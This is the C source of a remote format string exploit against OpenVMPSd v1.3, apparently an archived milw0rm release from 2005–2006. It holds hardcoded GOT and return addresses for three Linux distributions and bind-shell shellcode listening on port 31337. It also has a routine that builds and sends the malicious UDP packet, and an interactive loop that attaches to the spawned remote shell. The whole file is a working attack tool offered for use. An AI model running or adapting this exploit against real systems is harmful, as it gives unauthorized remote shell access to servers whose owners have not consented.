347 lines
No EOL
8.2 KiB
C
347 lines
No EOL
8.2 KiB
C
/*
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* gexp-openvmpsd.c
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*
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* OpenVMPSd v1.3 Remote Format String Exploit
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* Copyright (C) 2005 Gotfault Security
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*
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* Bug found and developed by: barros and xgc
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*
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* Original Reference:
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* http://gotfault.net/research/exploit/gexp-openvmpsd.c
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*
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*/
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#include <getopt.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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#include <unistd.h>
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#include <stdlib.h>
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#include <string.h>
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#include <netdb.h>
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#include <errno.h>
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#include <netinet/in.h>
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#include <stdio.h>
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/*==[ Prototypes ]==*/
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void Usage(char *);
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void fatal(char *);
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int CreateEvilBuffer(int, int, int, int, char *);
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void ExecuteShell(int);
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void SendBuffer(int , char *, int);
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int CreateUdpSocket(void);
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int ConectToHost(char *, int);
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/*==[ Defines ]==*/
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#define DEFAULT_PORT 1589 // Default server port
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#define BIND_PORT 31337 // Default port to bind
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#define NOPSIZE 50 // Do not change this value cause the shellcode space is "limited"
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#define NOP 0x90 // Nop value
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#define PAD "..." // Format string alignment
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#define PORT_OFFSET 29 // Offset to fix the shellcode
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/*==[ Targets ]==*/
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struct
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{
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char *Name;
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int Gotaddr;
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int Retaddr;
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int Pop;
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}Targets[] =
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{
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"OpenVMPSd v1.3 @ Slackware 10.0",
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0x0804e57c,
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0xbffff4f5,
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19,
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"OpenVMPSd v1.3 @ Debian 3.0 Linux",
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0x0804d0f8,
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0xbffff7ac,
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29,
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"OpenVMPSd v1.3 @ Fedora Core 2",
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0x0804d0f8,
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0xbffff7ac,
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19,
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// Finish
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0,
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0,
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0,
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0
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};
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/*==[ Shellcode by Marco Ivaldi <raptor@0xdeadbeef.info> ]==*/
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char shellcode[] =
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"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
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"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
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"\x89\xc7\x52\x66\x68"
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"BP" // Port to bind
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"\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80"
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"\xb0\x66\xb3\x04\xcd\x80"
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"\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80"
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"\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
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"\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80";
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/*==[ OpenVMPSd UDP packet header ]==*/
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#define SIZE_OF_HEADER 14
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char header[] = "\x41\x01\x41\x01\x41\x41\x41\x41\x00\x00\x0c\x02";
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int main(int argc, char **argv)
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{
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extern char *optarg;
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extern int optind;
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char opt;
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char *Host = NULL;
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int Port = DEFAULT_PORT;
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int BindPort = BIND_PORT;
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int TargetNumber = 0;
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int Sock,i;
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char *EvilBuffer;
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int BufLen;
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fprintf(stdout,"\n--=[ OpenVMPSd Remote Format String Exploit ]\n\n");
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// Process arguments
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while ( (opt = getopt(argc,argv,"h:t:p:r:")) != EOF)
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{
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switch(opt)
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{
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case 'r':
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BindPort = atoi(optarg);
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if(!BindPort) Usage(argv[0]);
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break;
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case 'p':
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Port = atoi(optarg);
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if(!Port) Usage(argv[0]);
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break;
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case 't':
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TargetNumber = atoi(optarg);
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break;
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case 'h':
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Host = optarg;
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break;
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default: Usage(argv[0]);
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break;
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}
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}
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if(Host == NULL) Usage(argv[0]);
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// Verify target
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for(i=0;;i++)
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if(Targets[i].Name == 0) break;
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if(--i<TargetNumber) Usage(argv[0]);
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fprintf(stdout,"[*] Target plataform : %s\n",Targets[TargetNumber].Name);
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fprintf(stdout,"[*] Target host : %s\n",Host);
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fprintf(stdout,"[*] Target port : %u\n",Port);
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fprintf(stdout,"[*] Bind to port : %u\n",BindPort);
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fprintf(stdout,"[*] Target GOT : %#010x\n",Targets[TargetNumber].Gotaddr);
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fprintf(stdout,"[*] Target Retaddr : %#010x\n",Targets[TargetNumber].Retaddr);
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fprintf(stdout,"[*] Target POP : %d\n\n",Targets[TargetNumber].Pop);
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fprintf(stdout,"[*] Connecting\t\t : ");
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fflush(stdout);
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Sock = ConectToHost(Host,Port);
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if(Sock == -1) fatal("Could not connect");
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else fprintf(stdout,"done\n");
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fprintf(stdout,"[*] Creating EvilBuffer\t : ");
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fflush(stdout);
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EvilBuffer = (char *)malloc(strlen(shellcode)+NOPSIZE+strlen(PAD)+515);
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if(!EvilBuffer) fatal("Out of memory");
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BufLen = CreateEvilBuffer(Targets[TargetNumber].Gotaddr,Targets[TargetNumber].Retaddr,Targets[TargetNumber].Pop,BindPort,EvilBuffer);
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fprintf(stdout,"done\n");
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fprintf(stdout,"[*] Attacking\t\t : ");
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fflush(stdout);
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SendBuffer(Sock,EvilBuffer,BufLen);
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fprintf(stdout,"done\n");
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close(Sock);
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sleep(1);
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Sock = ConectToShell(Host,BindPort);
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if(Sock == -1) {
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fprintf(stdout,"[*] Exploit Failed.\n\n");
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exit(0);
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}
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else {
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fprintf(stdout,"[*] Spawning Shell...\n\n");
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ExecuteShell(Sock);
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close(Sock);
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}
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}
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void SendBuffer(int Sock, char *Buffer, int size)
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{
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if(send(Sock,Buffer,size,0) == -1)
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fatal("SEND");
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}
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int ConectToHost(char *Host,int Port)
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{
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struct sockaddr_in server;
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struct hostent *hp;
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int s;
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server.sin_family = AF_INET;
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hp = gethostbyname(Host);
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if(!hp) return(-1);
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memcpy(&server.sin_addr,hp->h_addr,hp->h_length);
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server.sin_port = htons(Port);
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s = socket(PF_INET,SOCK_DGRAM,0);
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if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0)
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return(-1);
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return(s);
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}
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int ConectToShell(char *Host,int Port)
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{
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struct sockaddr_in server;
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struct hostent *hp;
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int s;
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server.sin_family = AF_INET;
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hp = gethostbyname(Host);
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if(!hp) return(-1);
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memcpy(&server.sin_addr,hp->h_addr,hp->h_length);
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server.sin_port = htons(Port);
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s = socket(PF_INET,SOCK_STREAM,0);
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if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0)
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return(-1);
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return(s);
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}
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int CreateEvilBuffer(int GOT, int RETADDR, int POP, int BINDTOPORT, char *buffer)
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{
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char *nops = malloc(NOPSIZE+1);
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char *ptr;
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unsigned short *len;
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unsigned short *portPtr = (unsigned short *)(shellcode+PORT_OFFSET);
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// Fix shellcode
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*portPtr = htons(BINDTOPORT);
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// Header
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ptr = buffer;
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memcpy(ptr,header,12);
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ptr += SIZE_OF_HEADER;
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len = (unsigned short *)(buffer + SIZE_OF_HEADER - 2);
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// Create Nops
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bzero(nops,NOPSIZE+1);
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memset(nops,NOP,NOPSIZE);
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// Create format string attack
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sprintf(ptr,
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PAD
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"%c%c%c%c"
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"%c%c%c%c"
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"%%.%dd"
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"%%%d$hn"
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"%%.%dd"
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"%%%d$hn"
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"%s%s",
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((u_long)GOT),
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((u_long)GOT >> 8),
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((u_long)GOT >> 16),
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((u_long)GOT >> 24),
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((u_long)GOT+2),
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(((u_long)GOT+2) >> 8),
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(((u_long)GOT+2) >> 16),
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(((u_long)GOT+2) >> 24),
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((RETADDR & 0x0000FFFF) - 9 - 63),
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POP,
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(((RETADDR & 0xFFFF0000)>>16) + 0x10000 - (RETADDR & 0x0000FFFF)) - 1,
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POP+1,nops,shellcode);
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*len = htons(strlen(ptr));
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return (strlen(ptr)+14);
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}
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#define STDIN 0
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#define STDOUT 1
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void ExecuteShell(int Sock)
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{
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char buffer[1024 * 10];
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int count;
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fd_set readfs;
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write(Sock,"uname -a;id\n",12);
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while(1)
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{
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FD_ZERO(&readfs);
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FD_SET(STDIN, &readfs);
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FD_SET(Sock, &readfs);
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if(select(Sock + 1, &readfs, NULL, NULL, NULL) > 0)
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{
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if(FD_ISSET(STDIN, &readfs))
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{
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if((count = read(STDIN, buffer, 1024)) <= 0)
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{
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if(errno == EWOULDBLOCK || errno == EAGAIN)
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continue;
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else
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{
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close(Sock);
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exit(-1);
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}
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}
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write(Sock, buffer, count);
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}
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if(FD_ISSET(Sock, &readfs))
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{
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if((count = read(Sock, buffer, 1024)) <= 0)
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{
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if(errno == EWOULDBLOCK || errno == EAGAIN)
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continue;
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else
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{
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close(Sock);
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exit(-1);
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}
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}
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write(STDOUT, buffer, count);
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}
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}
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}
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}
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void fatal(char *ErrorMsg)
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{
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fprintf(stderr,"ERROR - %s\n\n",ErrorMsg);
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exit(1);
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}
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void Usage(char *Prog)
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{
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int i;
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fprintf(stderr, "Usage: %s -h hostname <options>\n\n"
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"Options:\n\n"
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" -t target : Select the target\n"
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" -p portnumber : Sets a new port number <default: %d>\n"
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" -r bindport : Sets the port to bind a shell <default: %d>\n\n"
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"Targets:\n\n",Prog,DEFAULT_PORT,BIND_PORT);
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for(i=0;;i++)
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{
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if(Targets[i].Name != 0)
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fprintf(stderr," [%u] %s\n",i,Targets[i].Name);
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else
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break;
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}
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fprintf(stderr,"\n");
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exit(1);
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}
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// milw0rm.com [2006-02-10]
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